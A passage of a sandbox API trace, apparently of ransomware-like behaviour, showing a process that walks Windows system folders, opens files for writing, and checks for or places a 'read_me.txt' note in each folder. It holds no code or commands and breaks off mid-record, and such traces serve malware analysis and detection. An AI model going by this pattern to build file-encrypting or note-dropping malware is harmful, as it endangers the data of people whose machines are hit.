ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x540000, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.708] wnsprintfW (in: pszDest=0x4190070, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui") returned 33 [0077.709] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0077.730] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a722270, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1a722270, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a722270, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0x540000, dwReserved1=0x0, cFileName="read_me.txt", cAlternateFileName="")) returned 1 [0077.731] wnsprintfW (in: pszDest=0x4190070, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\zh-CN\\read_me.txt") returned 29 [0077.731] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\read_me.txt" (normalized: "c:\\boot\\zh-cn\\read_me.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7ac [0077.731] StrStrW (lpFirst="read_me.txt", lpSrch="read_me.txt") returned="read_me.txt" [0077.731] CloseHandle (hObject=0x7ac) returned 1 [0077.731] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a722270, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1a722270, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a722270, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0x540000, dwReserved1=0x0, cFileName="read_me.txt", cAlternateFileName="")) returned 0 [0077.731] FindClose (in: hFindFile=0x32fc208 | out: hFindFile=0x32fc208) returned 1 [0077.731] wnsprintfW (in: pszDest=0x4190070, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Boot\\zh-CN\\read_me.txt") returned 29 [0077.731] GetProcessHeap () returned 0x540000 [0077.731] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4190070 | out: hHeap=0x540000) returned 1 [0077.731] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 24 [0077.731] GetProcessHeap () returned 0x540000 [0077.731] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4150050 | out: hHeap=0x540000) returned 1 [0077.731] GetProcessHeap () returned 0x540000 [0077.731] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4150050 [0077.731] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\zh-TW\\*") returned 19 [0077.731] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-TW\\*", lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x1a722270, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a722270, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0077.731] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\zh-TW\\.") returned 19 [0077.731] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x1a722270, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a722270, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.731] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\zh-TW\\..") returned 20 [0077.731] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x540000, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.731] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned 33 [0077.732] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0077.732] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a722270, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1a722270, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a722270, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0x540000, dwReserved1=0x0, cFileName="read_me.txt", cAlternateFileName="")) returned 1 [0077.732] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\zh-TW\\read_me.txt") returned 29 [0077.732] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\read_me.txt" (normalized: "c:\\boot\\zh-tw\\read_me.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7ac [0077.732] StrStrW (lpFirst="read_me.txt", lpSrch="read_me.txt") returned="read_me.txt" [0077.732] CloseHandle (hObject=0x7ac) returned 1 [0077.732] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a722270, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1a722270, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a722270, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0x540000, dwReserved1=0x0, cFileName="read_me.txt", cAlternateFileName="")) returned 0 [0077.732] FindClose (in: hFindFile=0x32fc208 | out: hFindFile=0x32fc208) returned 1 [0077.732] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Boot\\zh-TW\\read_me.txt") returned 29 [0077.732] GetProcessHeap () returned 0x540000 [0077.732] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4150050 | out: hHeap=0x540000) returned 1 [0077.732] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 25 [0077.732] GetProcessHeap () returned 0x540000 [0077.732] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4170060 | out: hHeap=0x540000) returned 1 [0077.732] GetProcessHeap () returned 0x540000 [0077.732] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4170060 [0077.732] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Config.Msi\\*") returned 19 [0077.732] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Config.Msi\\*", lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x1a7483d0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a7483d0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0077.732] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Config.Msi\\.") returned 19 [0077.732] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x1a7483d0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a7483d0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.732] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Config.Msi\\..") returned 20 [0077.732] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a7483d0, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1a7483d0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a7483d0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0x540000, dwReserved1=0x0, cFileName="read_me.txt", cAlternateFileName="")) returned 1 [0077.733] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Config.Msi\\read_me.txt") returned 29 [0077.733] CreateFileW (lpFileName="\\\\?\\C:\\Config.Msi\\read_me.txt" (normalized: "c:\\config.msi\\read_me.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7ac [0077.733] StrStrW (lpFirst="read_me.txt", lpSrch="read_me.txt") returned="read_me.txt" [0077.733] CloseHandle (hObject=0x7ac) returned 1 [0077.733] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a7483d0, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1a7483d0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a7483d0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0x540000, dwReserved1=0x0, cFileName="read_me.txt", cAlternateFileName="")) returned 0 [0077.733] FindClose (in: hFindFile=0x32fc208 | out: hFindFile=0x32fc208) returned 1 [0077.733] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Config.Msi\\read_me.txt") returned 29 [0077.733] GetProcessHeap () returned 0x540000 [0077.733] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4170060 | out: hHeap=0x540000) returned 1 [0077.733] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 26 [0077.733] GetProcessHeap () returned 0x540000 [0077.733] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4180068 | out: hHeap=0x540000) returned 1 [0077.733] GetProcessHeap () returned 0x540000 [0077.733] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4150050 [0077.733] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Documents and Settings\\*") returned 31 [0077.733] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Documents and Settings\\*", lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a7483d0, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1a7483d0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a7483d0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0x540000, dwReserved1=0x0, cFileName="read_me.txt", cAlternateFileName="")) returned 0xffffffff [0077.733] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Documents and Settings\\read_me.txt") returned 41 [0077.733] GetProcessHeap () returned 0x540000 [0077.733] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4150050 | out: hHeap=0x540000) returned 1 [0077.733] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 27 [0077.733] GetProcessHeap () returned 0x540000 [0077.733] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41a0078 | out: hHeap=0x540000) returned 1 [0077.736] GetProcessHeap () returned 0x540000 [0077.736] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4150050 [0077.737] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\MSOCache\\*") returned 17 [0077.737] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\*", lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1a7483d0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a7483d0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0077.737] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\.") returned 17 [0077.737] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1a7483d0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a7483d0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.737] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\..") returned 18 [0077.737] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0077.737] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users") returned 25 [0077.737] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1a7483d0, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1a7483d0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a7483d0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0x540000, dwReserved1=0x0, cFileName="read_me.txt", cAlternateFileName="")) returned 1 [0077.737] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\read_me.txt") returned 27 [0077.737] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\read_me.txt" (normalized: "c:\\msocache\\read_me.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7ac [0077.737] StrStrW (lpFirst="read_me.txt", lpSrch="read_me.txt") returned="read_me.txt" [0077.737] CloseHandle (hObject=0x7ac) returned 1 [0077.737] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1a7483d0, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1a7483d0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a7483d0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0x540000, dwReserved1=0x0, cFileName="read_me.txt", cAlternateFileName="")) returned 0 [0077.737] FindClose (in: hFindFile=0x32fc208 | out: hFindFile=0x32fc208) returned 1 [0077.737] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\MSOCache\\read_me.txt") returned 27 [0077.737] GetProcessHeap () returned 0x540000 [0077.737] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4150050 | out: hHeap=0x540000) returned 1 [0077.737] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 28 [0077.738] GetProcessHeap () returned 0x540000 [0077.738] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b0080 | out: hHeap=0x540000) returned 1 [0077.738] GetProcessHeap () returned 0x540000 [0077.738] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4150050 [0077.738] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\PerfLogs\\*") returned 17 [0077.738] FindFirstFileW (in: lpFileName="\\\\?\\C:\\PerfLogs\\*", lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0077.739] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\PerfLogs\\.") returned 17 [0077.739] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.739] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\PerfLogs\\..") returned 18 [0077.739] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName="Admin", cAlternateFileName="")) returned 1 [0077.739] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\PerfLogs\\Admin") returned 21 [0077.739] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName="Admin", cAlternateFileName="")) returned 0 [0077.739] FindClose (in: hFindFile=0x32fc208 | out: hFindFile=0x32fc208) returned 1 [0077.739] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\PerfLogs\\read_me.txt") returned 27 [0077.739] GetProcessHeap () returned 0x540000 [0077.739] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4150050 | out: hHeap=0x540000) returned 1 [0077.739] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 29 [0077.739] GetProcessHeap () returned 0x540000 [0077.739] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41c0088 | out: hHeap=0x540000) returned 1 [0077.739] GetProcessHeap () returned 0x540000 [0077.739] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4150050 [0077.739] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\PerfLogs\\Admin\\*") returned 23 [0077.739] FindFirstFileW (in: lpFileName="\\\\?\\C:\\PerfLogs\\Admin\\*", lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0077.739] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\PerfLogs\\Admin\\.") returned 23 [0077.739] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.739] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\PerfLogs\\Admin\\..") returned 24 [0077.739] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0077.739] FindClose (in: hFindFile=0x32fc208 | out: hFindFile=0x32fc208) returned 1 [0077.739] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\PerfLogs\\Admin\\read_me.txt") returned 33 [0077.739] GetProcessHeap () returned 0x540000 [0077.740] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4150050 | out: hHeap=0x540000) returned 1 [0077.741] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 30 [0077.741] GetProcessHeap () returned 0x540000 [0077.741] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41e0098 | out: hHeap=0x540000) returned 1 [0077.755] GetProcessHeap () returned 0x540000 [0077.755] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4180068 [0077.756] wnsprintfW (in: pszDest=0x4180068, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Recovery\\*") returned 17 [0077.756] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Recovery\\*", lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27cc8060, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27cc8060, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32fc1c8 [0077.756] wnsprintfW (in: pszDest=0x4180068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Recovery\\.") returned 17 [0077.756] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x2c5fb60 | out: 